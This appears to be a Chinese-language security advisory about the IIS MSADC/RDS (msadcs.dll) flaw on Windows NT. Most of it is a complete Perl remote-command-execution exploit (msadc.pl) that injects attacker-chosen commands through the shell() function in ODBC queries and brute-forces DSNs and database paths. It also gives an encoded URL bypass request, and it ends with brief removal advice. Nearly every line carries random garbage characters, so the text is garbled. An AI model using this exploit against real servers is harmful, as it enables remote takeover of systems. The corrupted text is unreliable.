IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
5S7Z]DXiT8 zh4o<f:- 涉及程序：
R -h7c!ko Microsoft NT server
Tl1?5 ~]yqJYiid^ 描述：
XG [%oL 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
-#i%4[v 3{_+dE"9 详细：
4({= (O 如果你没有时间读详细内容的话，就删除:
,>g
6OU2~6 c:\Program Files\Common Files\System\Msadc\msadcs.dll
/0\pPc*kA{ 有关的安全问题就没有了。
(&gCVf $jzk4V 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
u(~s$ENl ,J~1~fg89 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
]':C~ -RV{ 关于利用ODBC远程漏洞的描述，请参看:
(%r:PcGMEV AVJF[t , http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm # / 4Wcz< -Kc-eU- &q 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
|/(5GX,X http://www.microsoft.com/security/bulletins/MS99-025faq.asp ^Gy l:hN %kUJ:lg;d 这里不再论述。
\UC4ai2MK L{Th>]X 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
y~d W=zO r'!l`
gm,S /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
*CG2sA eB 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
Hv=coS>g: [Ytia#Vv YW 'Y=* #将下面这段保存为txt文件，然后: "perl -x 文件名"
_9-Ajv ~q4y'dBy* #!perl
[6Wr
t8" #
givK{Yt<B # MSADC/RDS 'usage' (aka exploit) script
4-"wFp #
Xmnq ZWB # by rain.forest.puppy
F?dTCa #
980+Y # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
YM;^c%
_7 # beta test and find errors!
Oh^X^*I$@ 8%NX)hZyq} use Socket; use Getopt::Std;
dqe_&C@*O getopts("e:vd:h:XR", \%args);
^g0 Ig2' -@73" w/ print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
cn#a/Hx ZHBwoC#5} if (!defined $args{h} && !defined $args{R}) {
5 4OYAkPCk print qq~
V|D;7 Usage: msadc.pl -h <host> { -d <delay> -X -v }
H{V-C_ -h <host> = host you want to scan (ip or domain)
e,x@?L* -d <seconds> = delay between calls, default 1 second
o O|^ [b# -X = dump Index Server path table, if available
vIRE vj#U -v = verbose
m=K XMX -e = external dictionary file for step 5
5bAXa2Vt WDX?|q9rCt Or a -R will resume a command session
#[si.rv-> H z6H,h ~; exit;}
b'&pJ1]]} j NY8) w_ $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
[X
I5Bu ~ if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
Cse0!7_T if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
_ E%[D( if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
2iG Rw4`_a $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
p"JSYF
9] if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
0g+@WK6y UtutdkaS if (!defined $args{R}){ $ret = &has_msadc;
dnx}c4P die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
F>M$|Sc2 zPmVECS print "Please type the NT commandline you want to run (cmd /c assumed):\n"
GW W@8GNI . "cmd /c ";
4 hj2rK'y $in=<STDIN>; chomp $in;
T 'V(%\w $command="cmd /c " . $in ;
]`NbNr]K *Z]|
Z4Q/` if (defined $args{R}) {&load; exit;}
NqWHR~& pFK
|4u print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
(kHR$8GFM &try_btcustmr;
`%=Jsi0.Nq bXW)n<y print "\nStep 2: Trying to make our own DSN...";
J.&q[ &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
sH]AB =_ *HC8kD a%$ print "\nStep 3: Trying known DSNs...";
Y1~SGg7(@ &known_dsn;
{,
|"Rpd `~}7k)F( print "\nStep 4: Trying known .mdbs...";
X=hgLK^3<, &known_mdb;
8 N` $7^^ *"5a5.`%, if (defined $args{e}){
=?lT&|" print "\nStep 5: Trying dictionary of DSN names...";
<_>6a7ra &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
/;0>*ft4 z>{KeX: print "Sorry Charley...maybe next time?\n";
TAi\#cnl(6 exit;
E, |n' g IKm ##############################################################################
w?*KO?K yjO7/< 2 sub sendraw { # ripped and modded from whisker
w(U/(C7R sleep($delay); # it's a DoS on the server! At least on mine...
D 6]$P%t9 my ($pstr)=@_;
D7. P socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
K4y YNlY die("Socket problems\n");
=gn}_sKNE if(connect(S,pack "SnA4x8",2,80,$target)){
+ E:(-$"R select(S); $|=1;
vraU&ze\1 print $pstr; my @in=<S>;
HLk"a -+' select(STDOUT); close(S);
aC},h return @in;
S3'g(+ S } else { die("Can't connect...\n"); }}
U,M,E@ NQJqS?^W&M ##############################################################################
:6/OU9f/R #R8l"]fxr? sub make_header { # make the HTTP request
L1xD$wl my $msadc=<<EOT
CJOl|"UyJ POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
] aRD6F:L User-Agent: ACTIVEDATA
D5>~'N3b Host: $ip
(0Qq rNs Content-Length: $clen
!VH Il&Mos Connection: Keep-Alive
t/ 1NTa WK}+f4tdW[ ADCClientVersion:01.06
=QfKDA Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
a X %Zuyny 9/M!S[N9 --!ADM!ROX!YOUR!WORLD!
"k|` xn Content-Type: application/x-varg
qtN29[x Content-Length: $reqlen
I`TD*D <`3( i\-X EOT
EAB+kY ; $msadc=~s/\n/\r\n/g;
EM*Or Ue return $msadc;}
LPn }QzH Zsogx}i - ##############################################################################
w2+]C&B* ? <?C*W_ sub make_req { # make the RDS request
K Uut C
: my ($switch, $p1, $p2)=@_;
e W)I}z +{ my $req=""; my $t1, $t2, $query, $dsn;
W~ F/ZrT3A c.Y8CD.tqL if ($switch==1){ # this is the btcustmr.mdb query
;8T=uCi $query="Select * from Customers where City=" . make_shell();
~BZV:Es $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
X@&uu0JJ $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
7 !.8#A': "T
u[n\8 elsif ($switch==2){ # this is general make table query
$0SZlq>En $query="create table AZZ (B int, C varchar(10))";
ebe@.ZVSi $dsn="$p1";}
- l@W)?$ b=U MoWS elsif ($switch==3){ # this is general exploit table query
4 .B*B3 $query="select * from AZZ where C=" . make_shell();
j2 ^T:q[ $dsn="$p1";}
l&Ghs@>Kl dO;vcgvb elsif ($switch==4){ # attempt to hork file info from index server
xg^^ @o $query="select path from scope()";
@%nUfG7TQ $dsn="Provider=MSIDXS;";}
xJLO\B+gM |a$w;s>\ elsif ($switch==5){ # bad query
Z{4aGp* $query="select";
AdW2o|Uap $dsn="$p1";}
rOHW (y=o]Vy $t1= make_unicode($query);
FTnQqDuT $t2= make_unicode($dsn);
[ 0ff OTy $req = "\x02\x00\x03\x00";
Ju7C?)x $req.= "\x08\x00" . pack ("S1", length($t1));
$ cK
B+} $req.= "\x00\x00" . $t1 ;
QeJ.o.m{ $req.= "\x08\x00" . pack ("S1", length($t2));
_ 1> 4Q% $req.= "\x00\x00" . $t2 ;
}!]x|zU.= $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
y O;C3q return $req;}
p}DF$k %` x O-U] %oq ##############################################################################
+7< > x-+ ]MLLr'6? sub make_shell { # this makes the shell() statement
y6Epi|8 return "'|shell(\"$command\")|'";}
{dx /p-Tv ( E}cA&{ ##############################################################################
*.]E+MYi* :2)1vQ H0L sub make_unicode { # quick little function to convert to unicode
6a?$=y my ($in)=@_; my $out;
`ab\i`g9 for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
Y0yO ` W4 return $out;}
\seG2vw$ pb6^sA%l ##############################################################################
`6N-MsP Y+u-J4bj sub rdo_success { # checks for RDO return success (this is kludge)
UxcDDa/j2T my (@in) = @_; my $base=content_start(@in);
8C, utjy if($in[$base]=~/multipart\/mixed/){
ObyuhAR return 1 if( $in[$base+10]=~/^\x09\x00/ );}
ho]!G498 return 0;}
MupW=3.38 C$td{tM ##############################################################################
7;}3{z Y-3[KH D sub make_dsn { # this makes a DSN for us
-Bo~"q my @drives=("c","d","e","f");
hRa(<Z K print "\nMaking DSN: ";
#f3 ;}1( foreach $drive (@drives) {
KC h print "$drive: ";
M ev-M 2A my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
zt[4_;2Y "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
+ :]Aqyc\ . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
EPe]-C` $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
NVc! g return 0 if $2 eq "404"; # not found/doesn't exist
X ' #$e{ if($2 eq "200") {
B.mbKntK)R foreach $line (@results) {
aDl,
K;GL return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
g{W6a 2 } return 0;}
blfE9Oy X`3vSCn ##############################################################################
4-+ozC{ #A/]Vs$ sub verify_exists {
S
$_Y/x my ($page)=@_;
$EQT"ZX>%i my @results=sendraw("GET $page HTTP/1.0\n\n");
[|[sY o return $results[0];}
B 221}t |)?aH2IL ##############################################################################
hX8gV~E=y g{ v5mly sub try_btcustmr {
`
-[Bo my @drives=("c","d","e","f");
zyZ ok*s my @dirs=("winnt","winnt35","winnt351","win","windows");
"37@Zt nGv23R(?G foreach $dir (@dirs) {
2z.8rNwT print "$dir -> "; # fun status so you can see progress
6L8t z 8 foreach $drive (@drives) {
mS:j$$]u print "$drive: "; # ditto
5]H))}9>d $reqlen=length( make_req(1,$drive,$dir) ) - 28;
l$-=Pqb $reqlenlen=length( "$reqlen" );
YBtq0c $clen= 206 + $reqlenlen + $reqlen;
"y~muE:. UbY~xs7_ my @results=sendraw(make_header() . make_req(1,$drive,$dir));
f3zfRhkIk if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
c}IX" else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
G9i&#)nWr $m:2&lU3 ##############################################################################
fVH*dX'Jz [ZKtbPHb sub odbc_error {
\[[TlB> my (@in)=@_; my $base;
d=t }T6.| my $base = content_start(@in);
x&R9${ e% if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
h0F0d^W. $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
CGd[3}" $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
GJ C!0{8; $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
>[|GC/C return $in[$base+4].$in[$base+5].$in[$base+6];}
s% N` print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
d2C[wQF print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
~KA p\!, $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
Y ]~ HAv ' ]27>a"p59Y ##############################################################################
X,WQ'|rC YPha9M$AgU sub verbose {
K0 O-WJ my ($in)=@_;
! fi &@k return if !$verbose;
9h:jFhsA9 print STDOUT "\n$in\n";}
l h,ylh ?iPZsV ##############################################################################
A6^p}_ E! zd( sub save {
1V|< A my ($p1, $p2, $p3, $p4)=@_;
( zn_8s open(OUT, ">rds.save") || print "Problem saving parameters...\n";
5q5 )uv" print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
"UQr :/ close OUT;}
Gur8.A;Y (s}Rj)V[^ ##############################################################################
aF&r/j+}o SON ^CvMs{ sub load {
[&h#iTRT my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
Io$w| ~x open(IN,"<rds.save") || die("Couldn't open rds.save\n");
ZnvEv;P @p=<IN>; close(IN);
V!T^wh; $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
wr$cK'5ZL $target= inet_aton($ip) || die("inet_aton problems");
BI xV|\k print "Resuming to $ip ...";
h8f!<:rTS $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
:3KO6/+ if($p[1]==1) {
r{t. c?/ $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
MV"E?}0 $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
P0%N
Q1bn my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
n-b> m7O( if (rdo_success(@results)){print "Success!\n";}
S}oG.r
9 else { print "failed\n"; verbose(odbc_error(@results));}}
=
n+q_.A elsif ($p[1]==3){
%`xV'2H if(run_query("$p[3]")){
> _;kT y, print "Success!\n";} else { print "failed\n"; }}
6 gj]y ^} elsif ($p[1]==4){
|av*!i5Q if(run_query($drvst . "$p[3]")){
On#;)35M print "Success!\n"; } else { print "failed\n"; }}
t8+?U^j exit;}
q';&SR#"`K :3f-9aRC! ##############################################################################
h5L=M^z!> !]$V9F{K sub create_table {
UWQtvQ
f my ($in)=@_;
;[(= kOI $reqlen=length( make_req(2,$in,"") ) - 28;
+7| [b $reqlenlen=length( "$reqlen" );
] Nnxnp $clen= 206 + $reqlenlen + $reqlen;
Mw/?wtW my @results=sendraw(make_header() . make_req(2,$in,""));
vuYO\u+ud return 1 if rdo_success(@results);
8)L'rW{q# my $temp= odbc_error(@results); verbose($temp);
EzR%w*F>Q return 1 if $temp=~/Table 'AZZ' already exists/;
0CPxIF& return 0;}
kUNj4xp) Ct4LkmD ##############################################################################
lV P9 = J'o DOn.M sub known_dsn {
8';m)Jc # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
U(U@!G ) my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
&Fw[YGJayz "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
`TUZZz "banner", "banners", "ads", "ADCDemo", "ADCTest");
T>d\%*Q+B C">`' G2 foreach $dSn (@dsns) {
3(1 ]FKZtt print ".";
b6 $, Xh next if (!is_access("DSN=$dSn"));
h S4.3]ei if(create_table("DSN=$dSn")){
dZPW2 yf print "$dSn successful\n";
!n|#|.0m if(run_query("DSN=$dSn")){
EJ1Bq>u 7 print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
ARP KzF`Wq print "Something's borked. Use verbose next time\n";}}} print "\n";}
cppL0myJ 7$!yfMttu ##############################################################################
H5~1g6b@ }VF#\q sub is_access {
kW#S]fsfU my ($in)=@_;
q[-|ZA bbr $reqlen=length( make_req(5,$in,"") ) - 28;
]JH64~a $reqlenlen=length( "$reqlen" );
Yl $X3wi $clen= 206 + $reqlenlen + $reqlen;
{S G* my @results=sendraw(make_header() . make_req(5,$in,""));
*D2Nm9s l my $temp= odbc_error(@results);
$0_^=D EW verbose($temp); return 1 if ($temp=~/Microsoft Access/);
v2d<o[[C return 0;}
?-pi,O~(p BWW q4mdb{ ##############################################################################
zG_p"Z7, _}D%iJg# sub run_query {
grr'd+_ e my ($in)=@_;
aS el*
L $reqlen=length( make_req(3,$in,"") ) - 28;
Re>AsnA[ $reqlenlen=length( "$reqlen" );
l09Fn>wa $clen= 206 + $reqlenlen + $reqlen;
"u_i[[y my @results=sendraw(make_header() . make_req(3,$in,""));
jAXR` D return 1 if rdo_success(@results);
cv2]* my $temp= odbc_error(@results); verbose($temp);
5UE409Gn' return 0;}
<$%ql'= 9z:K 1 ##############################################################################
T .kyV| kB o;h.[l sub known_mdb {
N#4N?BBP" my @drives=("c","d","e","f","g");
]nQ+nH my @dirs=("winnt","winnt35","winnt351","win","windows");
I"-dTa my $dir, $drive, $mdb;
o+N MA
( my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
mb&lCd ^- y,Jh@ n';| # this is sparse, because I don't know of many
k0L] R5W my @sysmdbs=( "\\catroot\\icatalog.mdb",
_pW_G 1U "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
Av o|v> "\\system32\\certmdb.mdb",
M i]I:ka "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
(?vK_{ b(l0js my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
C6|(ktt "\\cfusion\\cfapps\\forums\\forums_.mdb",
uVGa(4u} "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
xRlY r# % "\\cfusion\\cfapps\\security\\realm_.mdb",
B@ {&< "\\cfusion\\cfapps\\security\\data\\realm.mdb",
F|Q H "\\cfusion\\database\\cfexamples.mdb",
3V?817&6z "\\cfusion\\database\\cfsnippets.mdb",
) V36t{ "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
1]T|6N? "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
{6h|6.S 2 "\\cfusion\\brighttiger\\database\\cleam.mdb",
e'34Pw !m "\\cfusion\\database\\smpolicy.mdb",
Pe}PH
I "\\cfusion\\database\cypress.mdb",
u^=`%) "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
T?n -x?e "\\website\\cgi-win\\dbsample.mdb",
%t*[T "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
~h !
13! "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
GX
}q9 ); #these are just
/4*W DiH foreach $drive (@drives) {
#jBN?Z# foreach $dir (@dirs){
:=*}htP4C foreach $mdb (@sysmdbs) {
KVN"XqE4 print ".";
[[WF0q if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
!;v.>.lw
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
OUI6
ax\[ if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
g\Ak;03n print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
9C/MRmv` } else { print "Something's borked. Use verbose next time\n"; }}}}}
"k:=Y7Dx F)S P aC4 foreach $drive (@drives) {
]3ifd G k foreach $mdb (@mdbs) {
)o{aeV print ".";
m2xBS!fm if(create_table($drv . $drive . $dir . $mdb)){
0}]SUe^ print "\n" . $drive . $dir . $mdb . " successful\n";
"UG
K8x if(run_query($drv . $drive . $dir . $mdb)){
&J$# #B print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
(u&`Ij 9 } else { print "Something's borked. Use verbose next time\n"; }}}}
OX\$ nQ\o }
W \8Ln> Z(e ^ iH ##############################################################################
?qmp_2:WU _'!kuE ,*1 sub hork_idx {
GS;%zdH~ print "\nAttempting to dump Index Server tables...\n";
x GH1epf print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
j+kC-U; $reqlen=length( make_req(4,"","") ) - 28;
8md* wEjk $reqlenlen=length( "$reqlen" );
&^!h}D%T/ $clen= 206 + $reqlenlen + $reqlen;
8AL\ST51x" my @results=sendraw2(make_header() . make_req(4,"",""));
6ZOy&fd,Ty if (rdo_success(@results)){
1$pb (OK my $max=@results; my $c; my %d;
XN;&qR^j for($c=19; $c<$max; $c++){
gl8Ib<{ $results[$c]=~s/\x00//g;
Q`ME@vz $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
S_ b/DO $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
Xj@+{uvQB $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
`)K y0&? $d{"$1$2"}="";}
p=Y>i 'CG foreach $c (keys %d){ print "$c\n"; }
;b0NGa(k } else {print "Index server doesn't seem to be installed.\n"; }}
7 ^$; <+v{GF #R ##############################################################################
o&SSv W pf&ag#nr sub dsn_dict {
r2\c'9 uH open(IN, "<$args{e}") || die("Can't open external dictionary\n");
-Q"hZ 9 while(<IN>){
j}f [W [2 $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
HC*?DJ, next if (!is_access("DSN=$dSn"));
RLVAT M5 if(create_table("DSN=$dSn")){
lG:kAtx 4 print "$dSn successful\n";
!L$x:/R9M if(run_query("DSN=$dSn")){
)OP){ / print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
8e&p\%1 print "Something's borked. Use verbose next time\n";}}}
S,{tV=&m] print "\n"; close(IN);}
]Oeh=gq h4)Bs\==mT ##############################################################################
7TX2&kMoc xZ .!d.rn sub sendraw2 { # ripped and modded from whisker
np9dM sleep($delay); # it's a DoS on the server! At least on mine...
MYdO jc N my ($pstr)=@_;
56}X/ u socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
h8{(KRa 6 die("Socket problems\n");
B&0; 4 if(connect(S,pack "SnA4x8",2,80,$target)){
2C=Q8ayvX print "Connected. Getting data";
@'6"7g open(OUT,">raw.out"); my @in;
/=: j9FF select(S); $|=1; print $pstr;
nw6pV% while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
=9wy/c$ close(OUT); select(STDOUT); close(S); return @in;
r^fe 4b } else { die("Can't connect...\n"); }}
L] %l51U k mP Yx)o ##############################################################################
uLR<FpM vB'>[jvA| sub content_start { # this will take in the server headers
6 %Mt my (@in)=@_; my $c;
12UD19 ! for ($c=1;$c<500;$c++) {
m Y ,|J\w@ if($in[$c] =~/^\x0d\x0a/){
v,@F|c?_S if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
?-)I+EAnE else { return $c+1; }}}
Na{Y}0=^y return -1;} # it should never get here actually
jgv`>o%<W >u t" OL9J ##############################################################################
}baR5v UL$}{2N,_ sub funky {
?)D^~/
A my (@in)=@_; my $error=odbc_error(@in);
b KtD"JG\ if($error=~/ADO could not find the specified provider/){
S \ i@s_ print "\nServer returned an ADO miscofiguration message\nAborting.\n";
TrS8h^C exit;}
w_tJ7pz8T if($error=~/A Handler is required/){
(Z] HX@"{J print "\nServer has custom handler filters (they most likely are patched)\n";
K n`M4 O exit;}
>l']H*&B< if($error=~/specified Handler has denied Access/){
p4!:]0c print "\nServer has custom handler filters (they most likely are patched)\n";
p'_%aVm7 exit;}}
+]Zva:$#` (V:E2WR ##############################################################################
V!_71x\-Q KqY["5p sub has_msadc {
W~1~k{A my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
avQJPB)}Sb my $base=content_start(@results);
3?I;ovsM return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
Pe7 3g % return 0;}
>$WQxbwM( NoE*/!Sr ########################
ia @'%8 'a6<ixgo0 w8S!%abl1 解决方案：
k <iTjI*N 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
n{*D_kM(H 2、移除web 目录: /msadc
